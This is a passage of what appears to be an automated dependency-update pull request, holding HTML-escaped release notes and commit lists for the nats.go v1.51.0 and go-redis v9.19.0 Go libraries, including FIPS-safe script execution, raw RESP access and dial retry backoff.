href=\"https://redirect.github.com/nats-io/nats.go/issues/2055\"\u003e#2055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAccessors for JetStream API level and \u003ccode\u003eIsSysAccount\u003c/code\u003e from \u003ccode\u003eServerInfo\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2060\"\u003e#2060\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFIXED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eMake websocket frame validation more robust (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2050\"\u003e#2050\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eFix deadlock in \u003ccode\u003eConsume()\u003c/code\u003e when calling \u003ccode\u003eStop\u003c/code\u003e/\u003ccode\u003eDrain\u003c/code\u003e from \u003ccode\u003eConsumeErrHandler\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2059\"\u003e#2059\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eIMPROVED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix typos in tests. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2049\"\u003e#2049\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix deprecation warnings by bumping GH actions to their latest versions. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contibution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2048\"\u003e#2048\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCode linting: remove functions min and max. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2047\"\u003e#2047\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eComplete Changes\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.50.0...v1.51.0\"\u003ehttps://github.com/nats-io/nats.go/compare/v1.50.0...v1.51.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/17b6fd141ba960bdc07278101f8b6381293bbfe1\"\u003e\u003ccode\u003e17b6fd1\u003c/code\u003e\u003c/a\u003e Release v1.51.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2061\"\u003e#2061\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/b6d0226cf77762c3d73f337b84ebac48c31eb22a\"\u003e\u003ccode\u003eb6d0226\u003c/code\u003e\u003c/a\u003e [ADDED] Accessors for JS API level and IsSysAccount (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2060\"\u003e#2060\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/7a2bb4ab8d5c2fc04d569b8176f58e427362f549\"\u003e\u003ccode\u003e7a2bb4a\u003c/code\u003e\u003c/a\u003e [IMPROVED] Code linting: remove functions min and max (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2047\"\u003e#2047\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/0099a322759de0aa0c05f1d18281c65ab2f516b4\"\u003e\u003ccode\u003e0099a32\u003c/code\u003e\u003c/a\u003e [IMPROVED] Fix deprecation warnings by bumping GH actions to their latest ver...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/e23b40df651299adb61ffd593a429db7afa231c3\"\u003e\u003ccode\u003ee23b40d\u003c/code\u003e\u003c/a\u003e [FIXED] Deadlock in Consume() whe calling Stop/Drain from ConsumeErrHandler (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/1250dd658d7daf729bd4146febe9e1c3b6e10b93\"\u003e\u003ccode\u003e1250dd6\u003c/code\u003e\u003c/a\u003e [ADDED] Automatic reconnect on write error option (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2055\"\u003e#2055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/e4a8c79c93097cc7abd239f757e2218f0520fb02\"\u003e\u003ccode\u003ee4a8c79\u003c/code\u003e\u003c/a\u003e [ADDED] Option to customize write buffer size (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2057\"\u003e#2057\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/9a88c4caea9eb8162127a53bdc6c22ca63480012\"\u003e\u003ccode\u003e9a88c4c\u003c/code\u003e\u003c/a\u003e Update Claude workflow permissions to contents:read and actions:read (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2056\"\u003e#2056\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/f945cd94fd0aad53ae6cc0623150c5d82d6beb06\"\u003e\u003ccode\u003ef945cd9\u003c/code\u003e\u003c/a\u003e [IMPROVED] Fix typos (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2049\"\u003e#2049\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/4bba5713456124ebdfc2655f685d722792252fba\"\u003e\u003ccode\u003e4bba571\u003c/code\u003e\u003c/a\u003e [FIXED] Make websocket frame validation more robust (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2050\"\u003e#2050\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.50.0...v1.51.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/redis/go-redis/v9` from 9.18.0 to 9.19.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/redis/go-redis/releases\"\u003egithub.com/redis/go-redis/v9's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e9.19.0\u003c/h2\u003e\n\u003ch2\u003e🚀 Highlights\u003c/h2\u003e\n\u003ch3\u003eFIPS-Compatible Script Helper\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003eScript\u003c/code\u003e now supports a FIPS-safe execution mode that avoids client-side SHA-1 computation, which is blocked in strict FIPS environments. A new \u003ccode\u003eNewScriptServerSHA\u003c/code\u003e constructor uses \u003ccode\u003eSCRIPT LOAD\u003c/code\u003e to obtain and cache the digest from the server, then runs commands via \u003ccode\u003eEVALSHA\u003c/code\u003e/\u003ccode\u003eEVALSHA_RO\u003c/code\u003e. Falls back to \u003ccode\u003eEVAL\u003c/code\u003e/\u003ccode\u003eEVALRO\u003c/code\u003e if loading fails, and transparently retries once on \u003ccode\u003eNOSCRIPT\u003c/code\u003e. The default behavior is unchanged for existing users.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3700\"\u003e#3700\u003c/a\u003e) by \u003ca href=\"https://github.com/chaitanyabodlapati\"\u003e\u003ccode\u003e@​chaitanyabodlapati\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFT.AGGREGATE Step-Based Pipeline Builder\u003c/h3\u003e\n\u003cp\u003eAdded a new step-based \u003ccode\u003eFT.AGGREGATE\u003c/code\u003e pipeline API via \u003ccode\u003eFTAggregateOptions.Steps\u003c/code\u003e, allowing \u003ccode\u003eLOAD\u003c/code\u003e, \u003ccode\u003eAPPLY\u003c/code\u003e, \u003ccode\u003eGROUPBY\u003c/code\u003e, and \u003ccode\u003eSORTBY\u003c/code\u003e (with per-step \u003ccode\u003eMAX\u003c/code\u003e) to be repeated and interleaved in arbitrary order — matching Redis's native multi-stage aggregation semantics. The legacy \u003ccode\u003eLoad\u003c/code\u003e/\u003ccode\u003eApply\u003c/code\u003e/\u003ccode\u003eGroupBy\u003c/code\u003e/\u003ccode\u003eSortBy\u003c/code\u003e/\u003ccode\u003eSortByMax\u003c/code\u003e fields are now deprecated.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3782\"\u003e#3782\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eRaw RESP Protocol Access\u003c/h3\u003e\n\u003cp\u003eAdded \u003ccode\u003eDoRaw\u003c/code\u003e and \u003ccode\u003eDoRawWriteTo\u003c/code\u003e methods for executing arbitrary commands and reading the raw RESP response. Useful for proxying, custom protocol inspection, and working with commands not yet wrapped by go-redis.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3713\"\u003e#3713\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eConfigurable Dial Retry Backoff\u003c/h3\u003e\n\u003cp\u003eAdded \u003ccode\u003eDialerRetryBackoff\u003c/code\u003e option (plumbed through \u003ccode\u003eOptions\u003c/code\u003e, \u003ccode\u003eClusterOptions\u003c/code\u003e, \u003ccode\u003eRingOptions\u003c/code\u003e, \u003ccode\u003eFailoverOptions\u003c/code\u003e) to let callers customize the delay between failed dial attempts. Helpers \u003ccode\u003eDialRetryBackoffConstant\u003c/code\u003e and \u003ccode\u003eDialRetryBackoffExponential\u003c/code\u003e (with jitter and cap) are provided out of the box. Dial timeout is now also applied \u003cstrong\u003eper attempt\u003c/strong\u003e rather than across all retries.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3706\"\u003e#3706\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3705\"\u003e#3705\u003c/a\u003e) by \u003ca href=\"https://github.com/mwhooker\"\u003e\u003ccode\u003e@​mwhooker\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e✨ New Features\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eFT.AGGREGATE Steps\u003c/strong\u003e: Step-based pipeline builder for \u003ccode\u003eFT.AGGREGATE\u003c/code\u003e with support for repeated/interleaved \u003ccode\u003eLOAD\u003c/code\u003e, \u003ccode\u003eAPPLY\u003c/code\u003e, \u003ccode\u003eGROUPBY\u003c/code\u003e, and \u003ccode\u003eSORTBY\u003c/code\u003e stages (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3782\"\u003e#3782\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVectorSet commands\u003c/strong\u003e: Added \u003ccode\u003eVISMEMBER\u003c/code\u003e and \u003ccode\u003eWITHATTRIBS\u003c/code\u003e support (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3753\"\u003e#3753\u003c/a\u003e) by \u003ca href=\"https://github.com/romanpovol\"\u003e\u003ccode\u003e@​romanpovol\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFIPS-safe Script\u003c/strong\u003e: \u003ccode\u003eNewScriptServerSHA\u003c/code\u003e uses \u003ccode\u003eSCRIPT LOAD\u003c/code\u003e to obtain the digest from the server, avoiding client-side SHA-1 (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3700\"\u003e#3700\u003c/a\u003e) by \u003ca href=\"https://github.com/chaitanyabodlapati\"\u003e\u003ccode\u003e@​chaitanyabodlapati\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRaw RESP access\u003c/strong\u003e: \u003ccode\u003eDoRaw\u003c/code\u003e and \u003ccode\u003eDoRawWriteTo\u003c/code\u003e for raw RESP protocol access (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3713\"\u003e#3713\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDial retry backoff\u003c/strong\u003e: \u003ccode\u003eDialerRetryBackoff\u003c/code\u003e function option with constant and exponential helpers (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3706\"\u003e#3706\u003c/a\u003e) by \u003ca href=\"https://github.com/mwhooker\"\u003e\u003ccode\u003e@​mwhooker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTyped NOSCRIPT error\u003c/strong\u003e: Redis \u003ccode\u003eNOSCRIPT\u003c/code\u003e replies are now surfaced as a typed error for easier handling (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3738\"\u003e#3738\u003c/a\u003e) by \u003ca href=\"https://github.com/LINKIWI\"\u003e\u003ccode\u003e@​LINKIWI\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePubSub ClientSetName\u003c/strong\u003e: Added \u003ccode\u003eClientSetName\u003c/code\u003e method to \u003ccode\u003ePubSub\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3727\"\u003e#3727\u003c/a\u003e) by \u003ca href=\"https://github.com/Flack74\"\u003e\u003ccode\u003e@​Flack74\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eReplicaOf\u003c/strong\u003e: New \u003ccode\u003eReplicaOf\u003c/code\u003e method replaces the deprecated \u003ccode\u003eSlaveOf\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3720\"\u003e#3720\u003c/a\u003e) by \u003ca href=\"https://github.com/apps/copilot-swe-agent\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHSCAN BinaryUnmarshaler\u003c/strong\u003e: \u003ccode\u003eHScan\u003c/code\u003e now supports types implementing \u003ccode\u003eencoding.BinaryUnmarshaler\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3768\"\u003e#3768\u003c/a\u003e) by \u003ca href=\"https://github.com/Aaditya-dubey1\"\u003e\u003ccode\u003e@​Aaditya-dubey1\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eAuto hostname type detection\u003c/strong\u003e: Improved endpoint type detection for maintenance notifications using DNS-based classification; handles empty hosts and expanded private-IP ranges (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3789\"\u003e#3789\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHELLO fallback\u003c/strong\u003e: Don't send \u003ccode\u003eCLIENT MAINT_NOTIFICATIONS\u003c/code\u003e handshake when \u003ccode\u003eHELLO\u003c/code\u003e fails and connection falls back to RESP2; fail fast when explicitly enabled with RESP3 (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3788\"\u003e#3788\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDial TCP retry\u003c/strong\u003e: \u003ccode\u003eShouldRetry\u003c/code\u003e now treats \u003ccode\u003enet.OpError\u003c/code\u003e with \u003ccode\u003eOp == \u0026quot;dial\u0026quot;\u003c/code\u003e timeout errors as safe to retry since no command was sent (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3787\"\u003e#3787\u003c/a\u003e) by \u003ca href=\"https://github.com/vladisa88\"\u003e\u003ccode\u003e@​vladisa88\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewrappedOnClose leak\u003c/strong\u003e: Fixed resource leak caused by repeatedly wrapping \u003ccode\u003ebaseClient\u003c/code\u003e close logic; replaced with a bounded, concurrency-safe named-hook registry (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3785\"\u003e#3785\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePool Close() on stale connections\u003c/strong\u003e: Suppress close errors (e.g., TLS \u003ccode\u003ecloseNotify\u003c/code\u003e timeouts) for connections already dropped by the server due to idle timeout (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3778\"\u003e#3778\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFIFO waiter ordering\u003c/strong\u003e: Fixed race in \u003ccode\u003eConnStateMachine.notifyWaiters\u003c/code\u003e that could wake multiple waiters under a single mutex hold and violate FIFO ordering (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3777\"\u003e#3777\u003c/a\u003e) by \u003ca href=\"https://github.com/0x48core\"\u003e\u003ccode\u003e@​0x48core\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLua READONLY detection\u003c/strong\u003e: Detect \u003ccode\u003eREADONLY\u003c/code\u003e errors embedded in Lua script error messages on read-only replicas so commands are correctly retried (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3769\"\u003e#3769\u003c/a\u003e) by \u003ca href=\"https://github.com/zhengjilei\"\u003e\u003ccode\u003e@​zhengjilei\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVectorScoreSliceCmd RESP2\u003c/strong\u003e: Fixed \u003ccode\u003eVSimWithScores\u003c/code\u003e, \u003ccode\u003eVSimWithArgsWithScores\u003c/code\u003e, and \u003ccode\u003eVLinksWithScores\u003c/code\u003e which were broken on RESP2 connections returning flat arrays instead of maps (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3767\"\u003e#3767\u003c/a\u003e) by \u003ca href=\"https://github.com/apps/copilot-swe-agent\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/redis/go-redis/blob/master/RELEASE-NOTES.md\"\u003egithub.com/redis/go-redis/v9's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e9.19.0 (2026-04-27)\u003c/h1\u003e\n\u003ch2\u003e🚀 Highlights\u003c/h2\u003e\n\u003ch3\u003eFIPS-Compatible Script Helper\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003eScript\u003c/code\u003e now supports a FIPS-safe execution mode that avoids client-side SHA-1 computation, which is blocked in strict FIPS environments. A new \u003ccode\u003eNewScriptServerSHA\u003c/code\u003e constructor uses \u003ccode\u003eSCRIPT LOAD\u003c/code\u003e to obtain and cache the digest from the server, then runs commands via \u003ccode\u003eEVALSHA\u003c/code\u003e/\u003ccode\u003eEVALSHA_RO\u003c/code\u003e. Falls back to \u003ccode\u003eEVAL\u003c/code\u003e/\u003ccode\u003eEVALRO\u003c/code\u003e if loading fails, and transparently retries once on \u003ccode\u003eNOSCRIPT\u003c/code\u003e. The default behavior is unchanged for existing users.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3700\"\u003e#3700\u003c/a\u003e) by \u003ca href=\"https://github.com/chaitanyabodlapati\"\u003e\u003ccode\u003e@​chaitanyabodlapati\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFT.AGGREGATE Step-Based Pipeline Builder\u003c/h3\u003e\n\u003cp\u003eAdded a new step-based \u003ccode\u003eFT.AGGREGATE\u003c/code\u003e pipeline API via \u003ccode\u003eFTAggregateOptions.Steps\u003c/code\u003e, allowing \u003ccode\u003eLOAD\u003c/code\u003e, \u003ccode\u003eAPPLY\u003c/code\u003e, \u003ccode\u003eGROUPBY\u003c/code\u003e, and \u003ccode\u003eSORTBY\u003c/code\u003e (with per-step \u003ccode\u003eMAX\u003c/code\u003e) to be repeated and interleaved in arbitrary order — matching Redis's native multi-stage aggregation semantics. The legacy \u003ccode\u003eLoad\u003c/code\u003e/\u003ccode\u003eApply\u003c/code\u003e/\u003ccode\u003eGroupBy\u003c/code\u003e/\u003ccode\u003eSortBy\u003c/code\u003e/\u003ccode\u003eSortByMax\u003c/code\u003e fields are now deprecated.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3782\"\u003e#3782\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eRaw RESP Protocol Access\u003c/h3\u003e\n\u003cp\u003eAdded \u003ccode\u003eDoRaw\u003c/code\u003e and \u003ccode\u003eDoRawWriteTo\u003c/code\u003e methods for executing arbitrary commands and reading the raw RESP response. Useful for proxying, custom protocol inspection, and working with commands not yet wrapped by go-redis.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3713\"\u003e#3713\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eConfigurable Dial Retry Backoff\u003c/h3\u003e\n\u003cp\u003eAdded \u003ccode\u003eDialerRetryBackoff\u003c/code\u003e option (plumbed through \u003ccode\u003eOptions\u003c/code\u003e, \u003ccode\u003eClusterOptions\u003c/code\u003e, \u003ccode\u003eRingOptions\u003c/code\u003e, \u003ccode\u003eFailoverOptions\u003c/code\u003e) to let callers customize the delay between failed dial attempts. Helpers \u003ccode\u003eDialRetryBackoffConstant\u003c/code\u003e and \u003ccode\u003eDialRetryBackoffExponential\u003c/code\u003e (with jitter and cap) are provided out of the box. Dial timeout is now also applied \u003cstrong\u003eper attempt\u003c/strong\u003e rather than across all retries.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3706\"\u003e#3706\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3705\"\u003e#3705\u003c/a\u003e) by \u003ca href=\"https://github.com/mwhooker\"\u003e\u003ccode\u003e@​mwhooker\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e✨ New Features\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eFT.AGGREGATE Steps\u003c/strong\u003e: Step-based pipeline builder for \u003ccode\u003eFT.AGGREGATE\u003c/code\u003e with support for repeated/interleaved \u003ccode\u003eLOAD\u003c/code\u003e, \u003ccode\u003eAPPLY\u003c/code\u003e, \u003ccode\u003eGROUPBY\u003c/code\u003e, and \u003ccode\u003eSORTBY\u003c/code\u003e stages (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3782\"\u003e#3782\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVectorSet commands\u003c/strong\u003e: Added \u003ccode\u003eVISMEMBER\u003c/code\u003e and \u003ccode\u003eWITHATTRIBS\u003c/code\u003e support (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3753\"\u003e#3753\u003c/a\u003e) by \u003ca href=\"https://github.com/romanpovol\"\u003e\u003ccode\u003e@​romanpovol\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFIPS-safe Script\u003c/strong\u003e: \u003ccode\u003eNewScriptServerSHA\u003c/code\u003e uses \u003ccode\u003eSCRIPT LOAD\u003c/code\u003e to obtain the digest from the server, avoiding client-side SHA-1 (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3700\"\u003e#3700\u003c/a\u003e) by \u003ca href=\"https://github.com/chaitanyabodlapati\"\u003e\u003ccode\u003e@​chaitanyabodlapati\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRaw RESP access\u003c/strong\u003e: \u003ccode\u003eDoRaw\u003c/code\u003e and \u003ccode\u003eDoRawWriteTo\u003c/code\u003e for raw RESP protocol access (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3713\"\u003e#3713\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDial retry backoff\u003c/strong\u003e: \u003ccode\u003eDialerRetryBackoff\u003c/code\u003e function option with constant and exponential helpers (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3706\"\u003e#3706\u003c/a\u003e) by \u003ca href=\"https://github.com/mwhooker\"\u003e\u003ccode\u003e@​mwhooker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTyped NOSCRIPT error\u003c/strong\u003e: Redis \u003ccode\u003eNOSCRIPT\u003c/code\u003e replies are now surfaced as a typed error for easier handling (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3738\"\u003e#3738\u003c/a\u003e) by \u003ca href=\"https://github.com/LINKIWI\"\u003e\u003ccode\u003e@​LINKIWI\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePubSub ClientSetName\u003c/strong\u003e: Added \u003ccode\u003eClientSetName\u003c/code\u003e method to \u003ccode\u003ePubSub\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3727\"\u003e#3727\u003c/a\u003e) by \u003ca href=\"https://github.com/Flack74\"\u003e\u003ccode\u003e@​Flack74\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eReplicaOf\u003c/strong\u003e: New \u003ccode\u003eReplicaOf\u003c/code\u003e method replaces the deprecated \u003ccode\u003eSlaveOf\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3720\"\u003e#3720\u003c/a\u003e) by \u003ca href=\"https://github.com/apps/copilot-swe-agent\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHSCAN BinaryUnmarshaler\u003c/strong\u003e: \u003ccode\u003eHScan\u003c/code\u003e now supports types implementing \u003ccode\u003eencoding.BinaryUnmarshaler\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3768\"\u003e#3768\u003c/a\u003e) by \u003ca href=\"https://github.com/Aaditya-dubey1\"\u003e\u003ccode\u003e@​Aaditya-dubey1\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eAuto hostname type detection\u003c/strong\u003e: Improved endpoint type detection for maintenance notifications using DNS-based classification; handles empty hosts and expanded private-IP ranges (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3789\"\u003e#3789\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHELLO fallback\u003c/strong\u003e: Don't send \u003ccode\u003eCLIENT MAINT_NOTIFICATIONS\u003c/code\u003e handshake when \u003ccode\u003eHELLO\u003c/code\u003e fails and connection falls back to RESP2; fail fast when explicitly enabled with RESP3 (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3788\"\u003e#3788\u003c/a\u003e) by \u003ca 